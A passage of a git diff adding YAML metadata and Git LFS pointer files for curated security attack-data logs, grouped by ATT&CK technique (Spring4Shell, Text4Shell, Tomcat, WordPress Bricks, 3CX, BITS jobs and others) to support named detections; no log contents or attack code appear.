new file mode 100644 index 000000000..10c56b40f --- /dev/null +++ b/datasets/attack_techniques/T1190/spring4shell/spring4shell_nginx-adef9abd-16e9-4c74-aae8-508af2fc9c8d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5feb00791a54e1b351926d8289fc052c1c12bba4c855cd4a5e2565ec19446b9d +size 1726 diff --git a/datasets/attack_techniques/T1190/text4shell/T1190_text4shell.yml b/datasets/attack_techniques/T1190/text4shell/T1190_text4shell.yml new file mode 100644 index 000000000..fb5554363 --- /dev/null +++ b/datasets/attack_techniques/T1190/text4shell/T1190_text4shell.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6615aac9-2e14-4fd1-8091-2e097eb97847 +date: '2026-07-13' +description: Curated attack data generated for detection Exploit Public Facing Application + via Apache Commons Text +environment: attack_range +directory: text4shell +mitre_technique: [] +datasets: +- name: text4shell_nginx + path: /datasets/attack_techniques/T1190/text4shell/text4shell_nginx-6615aac9-2e14-4fd1-8091-2e097eb97847.log + sourcetype: nginx:plus:kv + source: nginx:plus:kv diff --git a/datasets/attack_techniques/T1190/text4shell/text4shell_nginx-6615aac9-2e14-4fd1-8091-2e097eb97847.log b/datasets/attack_techniques/T1190/text4shell/text4shell_nginx-6615aac9-2e14-4fd1-8091-2e097eb97847.log new file mode 100644 index 000000000..0b352e321 --- /dev/null +++ b/datasets/attack_techniques/T1190/text4shell/text4shell_nginx-6615aac9-2e14-4fd1-8091-2e097eb97847.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8430ffe33cded10498f901db86bf6bbf2486c3008ecd03c2a27e3a1f717a7347 +size 9265 diff --git a/datasets/attack_techniques/T1190/tomcat/T1190_tomcat.yml b/datasets/attack_techniques/T1190/tomcat/T1190_tomcat.yml new file mode 100644 index 000000000..ef2ae6bb4 --- /dev/null +++ b/datasets/attack_techniques/T1190/tomcat/T1190_tomcat.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9ab95941-4336-4089-9786-c9daaf360186 +date: '2026-07-13' +description: Curated attack data generated for detection Tomcat Session Deserialization + Attempt +environment: attack_range +directory: tomcat +mitre_technique: [] +datasets: +- name: tomcat_nginx_access + path: /datasets/attack_techniques/T1190/tomcat/tomcat_nginx_access-9ab95941-4336-4089-9786-c9daaf360186.log + sourcetype: nginx:plus:kv + source: nginx diff --git a/datasets/attack_techniques/T1190/tomcat/tomcat_nginx_access-9ab95941-4336-4089-9786-c9daaf360186.log b/datasets/attack_techniques/T1190/tomcat/tomcat_nginx_access-9ab95941-4336-4089-9786-c9daaf360186.log new file mode 100644 index 000000000..2760b99ce --- /dev/null +++ b/datasets/attack_techniques/T1190/tomcat/tomcat_nginx_access-9ab95941-4336-4089-9786-c9daaf360186.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:63107d34a49bac8dcdf5d36b4c7b42dfbd66a269c9bf6252783e321a9461421b +size 1792 diff --git a/datasets/attack_techniques/T1190/vmware/T1190_vmware.yml b/datasets/attack_techniques/T1190/vmware/T1190_vmware.yml new file mode 100644 index 000000000..3081bca0f --- /dev/null +++ b/datasets/attack_techniques/T1190/vmware/T1190_vmware.yml @@ -0,0 +1,17 @@ +author: STRT +id: 8cf16519-b8f9-458a-9c43-1e0a4917acd4 +date: '2026-07-13' +description: Curated attack data generated for detection VMWare Aria Operations Exploit + Attempt +environment: attack_range +directory: vmware +mitre_technique: [] +datasets: +- name: vmware_aria + path: /datasets/attack_techniques/T1190/vmware/vmware_aria-8cf16519-b8f9-458a-9c43-1e0a4917acd4.log + sourcetype: pan:threat + source: not_applicable +- name: vmware_scanning_pan_threat + path: /datasets/attack_techniques/T1190/vmware/vmware_scanning_pan_threat-8cf16519-b8f9-458a-9c43-1e0a4917acd4.log + sourcetype: pan:threat + source: not_applicable diff --git a/datasets/attack_techniques/T1190/vmware/vmware_aria-8cf16519-b8f9-458a-9c43-1e0a4917acd4.log b/datasets/attack_techniques/T1190/vmware/vmware_aria-8cf16519-b8f9-458a-9c43-1e0a4917acd4.log new file mode 100644 index 000000000..db2c89312 --- /dev/null +++ b/datasets/attack_techniques/T1190/vmware/vmware_aria-8cf16519-b8f9-458a-9c43-1e0a4917acd4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7483f6abb2b2a9880fce4824ee21255d7d6a77123b2b0df364e17931afd9a8cb +size 1976 diff --git a/datasets/attack_techniques/T1190/vmware/vmware_scanning_pan_threat-8cf16519-b8f9-458a-9c43-1e0a4917acd4.log b/datasets/attack_techniques/T1190/vmware/vmware_scanning_pan_threat-8cf16519-b8f9-458a-9c43-1e0a4917acd4.log new file mode 100644 index 000000000..362d21163 --- /dev/null +++ b/datasets/attack_techniques/T1190/vmware/vmware_scanning_pan_threat-8cf16519-b8f9-458a-9c43-1e0a4917acd4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5af2211bde658e3966292dec97eb01ac6273d3da7c2e70052a0e06eecb7972f4 +size 2950 diff --git a/datasets/attack_techniques/T1190/wordpress/T1190_wordpress.yml b/datasets/attack_techniques/T1190/wordpress/T1190_wordpress.yml new file mode 100644 index 000000000..3add9234c --- /dev/null +++ b/datasets/attack_techniques/T1190/wordpress/T1190_wordpress.yml @@ -0,0 +1,13 @@ +author: STRT +id: f5bc2bc9-7914-417c-9c2a-b91958da6a4a +date: '2026-07-13' +description: Curated attack data generated for detection WordPress Bricks Builder + plugin RCE +environment: attack_range +directory: wordpress +mitre_technique: [] +datasets: +- name: bricks_cve_2024_25600 + path: /datasets/attack_techniques/T1190/wordpress/bricks_cve_2024_25600-f5bc2bc9-7914-417c-9c2a-b91958da6a4a.log + sourcetype: nginx:plus:kv + source: nginx:plus:kv diff --git a/datasets/attack_techniques/T1190/wordpress/bricks_cve_2024_25600-f5bc2bc9-7914-417c-9c2a-b91958da6a4a.log b/datasets/attack_techniques/T1190/wordpress/bricks_cve_2024_25600-f5bc2bc9-7914-417c-9c2a-b91958da6a4a.log new file mode 100644 index 000000000..d0bf4bc6b --- /dev/null +++ b/datasets/attack_techniques/T1190/wordpress/bricks_cve_2024_25600-f5bc2bc9-7914-417c-9c2a-b91958da6a4a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5dd6d85dbf03048795d61a19e52b1ce98b7ed1dec282d98d22871374c63b1b6b +size 779 diff --git a/datasets/attack_techniques/T1190/ws_ftp/T1190_ws_ftp.yml b/datasets/attack_techniques/T1190/ws_ftp/T1190_ws_ftp.yml new file mode 100644 index 000000000..63419fbf9 --- /dev/null +++ b/datasets/attack_techniques/T1190/ws_ftp/T1190_ws_ftp.yml @@ -0,0 +1,12 @@ +author: STRT +id: 680d9917-e39b-4855-a759-c54a6fb32f2c +date: '2026-07-13' +description: Curated attack data generated for detection WS FTP Remote Code Execution +environment: attack_range +directory: ws_ftp +mitre_technique: [] +datasets: +- name: wsftpweb + path: /datasets/attack_techniques/T1190/ws_ftp/wsftpweb-680d9917-e39b-4855-a759-c54a6fb32f2c.log + sourcetype: suricata + source: not_applicable diff --git a/datasets/attack_techniques/T1190/ws_ftp/wsftpweb-680d9917-e39b-4855-a759-c54a6fb32f2c.log b/datasets/attack_techniques/T1190/ws_ftp/wsftpweb-680d9917-e39b-4855-a759-c54a6fb32f2c.log new file mode 100644 index 000000000..f42c76bce --- /dev/null +++ b/datasets/attack_techniques/T1190/ws_ftp/wsftpweb-680d9917-e39b-4855-a759-c54a6fb32f2c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dbcdbb0553907a508559b697c72be206a49088d3f2b27661a0d2e1b2f4737f2c +size 1168 diff --git a/datasets/attack_techniques/T1195.001/npm/T1195.001_npm.yml b/datasets/attack_techniques/T1195.001/npm/T1195.001_npm.yml new file mode 100644 index 000000000..4ff3dd760 --- /dev/null +++ b/datasets/attack_techniques/T1195.001/npm/T1195.001_npm.yml @@ -0,0 +1,21 @@ +author: STRT +id: 8018b186-8ec0-4827-8ba8-f9efd2a4bc86 +date: '2026-07-11' +description: Curated attack data generated for detection GitHub Workflow File Creation + or Modification +environment: attack_range +directory: npm +mitre_technique: [] +datasets: +- name: workflow_yml_sysmon + path: /datasets/attack_techniques/T1195.001/npm/workflow_yml_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: windows_workflow_sysmon + path: /datasets/attack_techniques/T1195.001/npm/windows_workflow_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: shai_hulud_workflow_sysmon + path: /datasets/attack_techniques/T1195.001/npm/shai_hulud_workflow_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1195.001/npm/shai_hulud_workflow_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log b/datasets/attack_techniques/T1195.001/npm/shai_hulud_workflow_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log new file mode 100644 index 000000000..000509005 --- /dev/null +++ b/datasets/attack_techniques/T1195.001/npm/shai_hulud_workflow_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b2c760c2936557bce33746d74dd5ae56edce3af0bfae48dcb832cf6178f8ecc2 +size 12251 diff --git a/datasets/attack_techniques/T1195.001/npm/windows_workflow_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log b/datasets/attack_techniques/T1195.001/npm/windows_workflow_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log new file mode 100644 index 000000000..73bfdf61d --- /dev/null +++ b/datasets/attack_techniques/T1195.001/npm/windows_workflow_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8eccfdc8bfa7129248181700e716884e0cfde799cd660eeca1950c0d98da8e4d +size 4438 diff --git a/datasets/attack_techniques/T1195.001/npm/workflow_yml_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log b/datasets/attack_techniques/T1195.001/npm/workflow_yml_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log new file mode 100644 index 000000000..610645f68 --- /dev/null +++ b/datasets/attack_techniques/T1195.001/npm/workflow_yml_sysmon-8018b186-8ec0-4827-8ba8-f9efd2a4bc86.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:237cee0d402b03b4c9bad681757d5d2fecffafd78a85858a0ee9d1fc5a434a30 +size 22920 diff --git a/datasets/attack_techniques/T1195.002/3CX/3cx_network-windows-sysmon-4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5.log b/datasets/attack_techniques/T1195.002/3CX/3cx_network-windows-sysmon-4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5.log new file mode 100644 index 000000000..194efa613 --- /dev/null +++ b/datasets/attack_techniques/T1195.002/3CX/3cx_network-windows-sysmon-4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f4d9a58cecfb146874475be82d4eb248881a6e087e7777cdd1fe744105433005 +size 3226 diff --git a/datasets/attack_techniques/T1195.002/3CX/3cx_windows-sysmon-4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5.log b/datasets/attack_techniques/T1195.002/3CX/3cx_windows-sysmon-4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5.log new file mode 100644 index 000000000..0baab26e8 --- /dev/null +++ b/datasets/attack_techniques/T1195.002/3CX/3cx_windows-sysmon-4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a94c3834db751b2cce6bd76d4e6c912411b8ab379f4c2cce807bae7c3acea94c +size 36647 diff --git a/datasets/attack_techniques/T1195.002/3CX/T1195.002_3CX.yml b/datasets/attack_techniques/T1195.002/3CX/T1195.002_3CX.yml new file mode 100644 index 000000000..baef7f986 --- /dev/null +++ b/datasets/attack_techniques/T1195.002/3CX/T1195.002_3CX.yml @@ -0,0 +1,16 @@ +author: STRT +id: 4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5 +date: '2026-07-13' +description: Curated attack data generated for detection Hunting 3CXDesktopApp Software +environment: attack_range +directory: 3CX +mitre_technique: [] +datasets: +- name: 3cx_windows-sysmon + path: /datasets/attack_techniques/T1195.002/3CX/3cx_windows-sysmon-4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: 3cx_network-windows-sysmon + path: /datasets/attack_techniques/T1195.002/3CX/3cx_network-windows-sysmon-4a9d3b18-a4c5-4444-b71c-279e9e8d2ea5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1197/atomic_red_team/T1197_atomic_red_team.yml b/datasets/attack_techniques/T1197/atomic_red_team/T1197_atomic_red_team.yml new file mode 100644 index 000000000..629b5ecd7 --- /dev/null +++ b/datasets/attack_techniques/T1197/atomic_red_team/T1197_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: 0ed31c61-007d-43c9-b26a-660edcfd71e0 +date: '2026-07-10' +description: Curated attack data generated for detection BITS Job Persistence +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1197/atomic_red_team/windows-sysmon-0ed31c61-007d-43c9-b26a-660edcfd71e0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1197/atomic_red_team/crowdstrike_falcon-0ed31c61-007d-43c9-b26a-660edcfd71e0.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike diff --git a/datasets/attack_techniques/T1197/atomic_red_team/crowdstrike_falcon-0ed31c61-007d-43c9-b26a-660edcfd71e0.log b/datasets/attack_techniques/T1197/atomic_red_team/crowdstrike_falcon-0ed31c61-007d-43c9-b26a-660edcfd71e0.log new file mode 100644 index 000000000..6633b5393 --- /dev/null +++ b/datasets/attack_techniques/T1197/atomic_red_team/crowdstrike_falcon-0ed31c61-007d-43c9-b26a-660edcfd71e0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6b785af75a4d23ebc123e1accd3ef1901793ffd8efd3156f9f30f720542472ba +size 4418 diff --git a/datasets/attack_techniques/T1197/atomic_red_team/windows-sysmon-0ed31c61-007d-43c9-b26a-660edcfd71e0.log b/datasets/attack_techniques/T1197/atomic_red_team/windows-sysmon-0ed31c61-007d-43c9-b26a-660edcfd71e0.log new file mode 100644 index 000000000..06149b314 --- /dev/null +++ b/datasets/attack_techniques/T1197/atomic_red_team/windows-sysmon-0ed31c61-007d-43c9-b26a-660edcfd71e0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b3c94ff170828d2a6968f6c552c03b112dadbd73800300f44267df8bcc464460 +size 2245 diff --git a/datasets/attack_techniques/T1200/sysmon_usb_use_execution/T1200_sysmon_usb_use_execution.yml b/datasets/attack_techniques/T1200/sysmon_usb_use_execution/T1200_sysmon_usb_use_execution.yml new file mode 100644 index 000000000..80200b0f9 --- /dev/null +++ b/datasets/attack_techniques/T1200/sysmon_usb_use_execution/T1200_sysmon_usb_use_execution.yml @@ -0,0 +1,13 @@ +author: STRT +id: e3227daf-22ff-44af-bc8a-550dba88f45c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process Executed + From Removable Media +environment: attack_range +directory: sysmon_usb_use_execution +mitre_technique: [] +datasets: +- name: sysmon_usb_use_execution + path: /datasets/attack_techniques/T1200/sysmon_usb_use_execution/sysmon_usb_use_execution-e3227daf-22ff-44af-bc8a-550dba88f45c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1200/sysmon_usb_use_execution/sysmon_usb_use_execution-e3227daf-22ff-44af-bc8a-550dba88f45c.log b/datasets/attack_techniques/T1200/sysmon_usb_use_execution/sysmon_usb_use_execution-e3227daf-22ff-44af-bc8a-550dba88f45c.log new file mode 100644 index 000000000..f62c8d1b3 --- /dev/null +++ b/datasets/attack_techniques/T1200/sysmon_usb_use_execution/sysmon_usb_use_execution-e3227daf-22ff-44af-bc8a-550dba88f45c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6ecb7af8f1baa2a10292ab44304194b0fc59ce4e3937f285a9a2f16a66955b77 +size 3743 diff --git a/datasets/attack_techniques/T1201/aws_password_policy/T1201_aws_password_policy.yml b/datasets/attack_techniques/T1201/aws_password_policy/T1201_aws_password_policy.yml new file mode 100644 index 000000000..b162ed1d9 --- /dev/null +++ b/datasets/attack_techniques/T1201/aws_password_policy/T1201_aws_password_policy.yml @@ -0,0 +1,12 @@ +author: STRT +id: 4e83f2de-6b8a-4633-b535-5479acf9a7a5 +date: '2026-07-10' +description: Curated attack data generated for detection AWS Password Policy Changes +environment: attack_range +directory: aws_password_policy +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1201/aws_password_policy/cloudtrail-4e83f2de-6b8a-4633-b535-5479acf9a7a5.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1201/aws_password_policy/cloudtrail-4e83f2de-6b8a-4633-b535-5479acf9a7a5.log b/datasets/attack_techniques/T1201/aws_password_policy/cloudtrail-4e83f2de-6b8a-4633-b535-5479acf9a7a5.log new file mode 100644 index 000000000..8c7d924f2 --- /dev/null +++ b/datasets/attack_techniques/T1201/aws_password_policy/cloudtrail-4e83f2de-6b8a-4633-b535-5479acf9a7a5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:99ab844896544f458bc2f41733e2a4b3a51179ee171a5eccc2ca9fba9d0f8d10 +size 7002 diff --git a/datasets/attack_techniques/T1201/pwd_policy_discovery/T1201_pwd_policy_discovery.yml b/datasets/attack_techniques/T1201/pwd_policy_discovery/T1201_pwd_policy_discovery.yml new file mode 100644 index 000000000..0d0d89d8e --- /dev/null +++ b/datasets/attack_techniques/T1201/pwd_policy_discovery/T1201_pwd_policy_discovery.yml @@ -0,0 +1,17 @@ +author: STRT +id: fba83284-a7aa-4f31-9e9d-db74b0ee674d +date: '2026-07-11' +description: Curated attack data generated for detection Get ADDefaultDomainPasswordPolicy + with Powershell +environment: attack_range +directory: pwd_policy_discovery +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1201/pwd_policy_discovery/windows-sysmon-fba83284-a7aa-4f31-9e9d-db74b0ee674d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-powershell-xml + path: /datasets/attack_techniques/T1201/pwd_policy_discovery/windows-powershell-xml-fba83284-a7aa-4f31-9e9d-db74b0ee674d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1201/pwd_policy_discovery/windows-powershell-xml-fba83284-a7aa-4f31-9e9d-db74b0ee674d.log b/datasets/attack_techniques/T1201/pwd_policy_discovery/windows-powershell-xml-fba83284-a7aa-4f31-9e9d-db74b0ee674d.log new file mode 100644 index 000000000..564ce36e4 --- /dev/null +++ b/datasets/attack_techniques/T1201/pwd_policy_discovery/windows-powershell-xml-fba83284-a7aa-4f31-9e9d-db74b0ee674d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25d4a135fe668210478de9616418ce00d79a12a5f0efb62c33c80b2104af4f +size 5003 diff --git a/datasets/attack_techniques/T1201/pwd_policy_discovery/windows-sysmon-fba83284-a7aa-4f31-9e9d-db74b0ee674d.log b/datasets/attack_techniques/T1201/pwd_policy_discovery/windows-sysmon-fba83284-a7aa-4f31-9e9d-db74b0ee674d.log new file mode 100644 index 000000000..d71e974cf --- /dev/null +++ b/datasets/attack_techniques/T1201/pwd_policy_discovery/windows-sysmon-fba83284-a7aa-4f31-9e9d-db74b0ee674d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6fab45b8b6f72e101e3489d5473b14bfe8769bd2925b8a20c3d8ca609ed08567 +size 1893 diff --git a/datasets/attack_techniques/T1202/atomic_red_team/T1202_atomic_red_team.yml b/datasets/attack_techniques/T1202/atomic_red_team/T1202_atomic_red_team.yml new file mode 100644 index 000000000..32e6927c2 --- /dev/null +++ b/datasets/attack_techniques/T1202/atomic_red_team/T1202_atomic_red_team.yml @@ -0,0 +1,17 @@ +author: STRT +id: 0a843899-696d-47e8-889b-75c3b22c5ad0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Indirect Command + Execution Via forfiles +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1202/atomic_red_team/windows-sysmon-0a843899-696d-47e8-889b-75c3b22c5ad0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon_runmru + path: /datasets/attack_techniques/T1202/atomic_red_team/windows-sysmon_runmru-0a843899-696d-47e8-889b-75c3b22c5ad0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1202/atomic_red_team/windows-sysmon-0a843899-696d-47e8-889b-75c3b22c5ad0.log b/datasets/attack_techniques/T1202/atomic_red_team/windows-sysmon-0a843899-696d-47e8-889b-75c3b22c5ad0.log new file mode 100644 index 000000000..e11b855a7 --- /dev/null +++ b/datasets/attack_techniques/T1202/atomic_red_team/windows-sysmon-0a843899-696d-47e8-889b-75c3b22c5ad0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fd6b75d664ce0347dd57542b5a82b86b866f5294134e811a598569b8d0e81ef8 +size 7950 diff --git a/datasets/attack_techniques/T1202/atomic_red_team/windows-sysmon_runmru-0a843899-696d-47e8-889b-75c3b22c5ad0.log b/datasets/attack_techniques/T1202/atomic_red_team/windows-sysmon_runmru-0a843899-696d-47e8-889b-75c3b22c5ad0.log new file mode 100644 index 000000000..48ad54ecd --- /dev/null +++ b/datasets/attack_techniques/T1202/atomic_red_team/windows-sysmon_runmru-0a843899-696d-47e8-889b-75c3b22c5ad0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:38cb2587a4384b1d480dbbea1ad228c4fe9b9d2d16a05618210b64c85ce583ca +size 2302 diff --git a/datasets/attack_techniques/T1204.002/appx/T1204.002_appx.yml b/datasets/attack_techniques/T1204.002/appx/T1204.002_appx.yml new file mode 100644 index 000000000..3e01cb506 --- /dev/null +++ b/datasets/attack_techniques/T1204.002/appx/T1204.002_appx.yml @@ -0,0 +1,17 @@ +author: STRT +id: e90ae472-d677-4ac9-8730-598bbd943ea6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AppX Deployment Full + Trust Package Installation +environment: attack_range +directory: appx +mitre_technique: [] +datasets: +- name: windows_appxdeploymentserver + path: /datasets/attack_techniques/T1204.002/appx/windows_appxdeploymentserver-e90ae472-d677-4ac9-8730-598bbd943ea6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-AppXDeploymentServer/Operational +- name: windows-appxpackaging + path: /datasets/attack_techniques/T1204.002/appx/windows-appxpackaging-e90ae472-d677-4ac9-8730-598bbd943ea6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-AppxPackaging/Operational diff --git a/datasets/attack_techniques/T1204.002/appx/windows-appxpackaging-e90ae472-d677-4ac9-8730-598bbd943ea6.log b/datasets/attack_techniques/T1204.002/appx/windows-appxpackaging-e90ae472-d677-4ac9-8730-598bbd943ea6.log new file mode 100644 index 000000000..e13da3d5c --- /dev/null +++ b/datasets/attack_techniques/T1204.002/appx/windows-appxpackaging-e90ae472-d677-4ac9-8730-598bbd943ea6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6eecba143b9c5439ec5f522acb2391c864007ab011e42ccda178dadfe7c2e48e +size 16837 diff --git a/datasets/attack_techniques/T1204.002/appx/windows_appxdeploymentserver-e90ae472-d677-4ac9-8730-598bbd943ea6.log b/datasets/attack_techniques/T1204.002/appx/windows_appxdeploymentserver-e90ae472-d677-4ac9-8730-598bbd943ea6.log new file mode 100644 index 000000000..b940d4d24 --- /dev/null +++ b/datasets/attack_techniques/T1204.002/appx/windows_appxdeploymentserver-e90ae472-d677-4ac9-8730-598bbd943ea6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f7ab824c824a3e6604cfe416461ffd08526d843ff29c6bea66ee628e9fd02e9b +size 3269 diff --git a/datasets/attack_techniques/T1204.002/batch_file_in_system32/T1204.002_batch_file_in_system32.yml b/datasets/attack_techniques/T1204.002/batch_file_in_system32/T1204.002_batch_file_in_system32.yml new file mode 100644 index 000000000..5e977e41c --- /dev/null +++ b/datasets/attack_techniques/T1204.002/batch_file_in_system32/T1204.002_batch_file_in_system32.yml @@ -0,0 +1,12 @@ +author: STRT +id: 64982f78-fbfd-4a1c-b04b-b9722f88ac87 +date: '2026-07-10' +description: Curated attack data generated for detection Batch File Write to System32 +environment: attack_range +directory: batch_file_in_system32 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1204.002/batch_file_in_system32/windows-sysmon-64982f78-fbfd-4a1c-b04b-b9722f88ac87.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1204.002/batch_file_in_system32/windows-sysmon-64982f78-fbfd-4a1c-b04b-b9722f88ac87.log b/datasets/attack_techniques/T1204.002/batch_file_in_system32/windows-sysmon-64982f78-fbfd-4a1c-b04b-b9722f88ac87.log new file mode 100644 index 000000000..fec0cf97d --- /dev/null +++ b/datasets/attack_techniques/T1204.002/batch_file_in_system32/windows-sysmon-64982f78-fbfd-4a1c-b04b-b9722f88ac87.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:64bcdaa89baae86d67a31e724f1e911749c3bdc4f9d5768b9b60e4f38e64d0d0 +size 1972 diff --git a/datasets/attack_techniques/T1204.002/single_letter_exe/T1204.002_single_letter_exe.yml b/datasets/attack_techniques/T1204.002/single_letter_exe/T1204.002_single_letter_exe.yml new file mode 100644 index 000000000..722de4317 --- /dev/null +++ b/datasets/attack_techniques/T1204.002/single_letter_exe/T1204.002_single_letter_exe.yml @@ -0,0 +1,13 @@ +author: STRT +id: e77d672f-ef0c-4ddd-bc75-2de1b825782f +date: '2026-07-11' +description: Curated attack data generated for detection Single Letter Process On + Endpoint +environment: attack_range +directory: single_letter_exe +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1204.002/single_letter_exe/windows-sysmon-e77d672f-ef0c-4ddd-bc75-2de1b825782f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1204.002/single_letter_exe/windows-sysmon-e77d672f-ef0c-4ddd-bc75-2de1b825782f.log b/datasets/attack_techniques/T1204.002/single_letter_exe/windows-sysmon-e77d672f-ef0c-4ddd-bc75-2de1b825782f.log new file mode 100644 index 000000000..8dc7cf322 --- /dev/null +++ b/datasets/attack_techniques/T1204.002/single_letter_exe/windows-sysmon-e77d672f-ef0c-4ddd-bc75-2de1b825782f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8c3fefad7607819b1e16d372adb334fdb9b88bf76664ddcdec78ae27f2c302e6 +size 37845 diff --git a/datasets/attack_techniques/T1204.002/snapattack/T1204.002_snapattack.yml b/datasets/attack_techniques/T1204.002/snapattack/T1204.002_snapattack.yml new file mode 100644 index 000000000..0da6f4702 --- /dev/null +++ b/datasets/attack_techniques/T1204.002/snapattack/T1204.002_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 864b3971-97e0-40df-9df8-7f3011aca6c6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows EFI Volume Mount + Attempt Via Mountvol +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1204.002/snapattack/snapattack-864b3971-97e0-40df-9df8-7f3011aca6c6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git 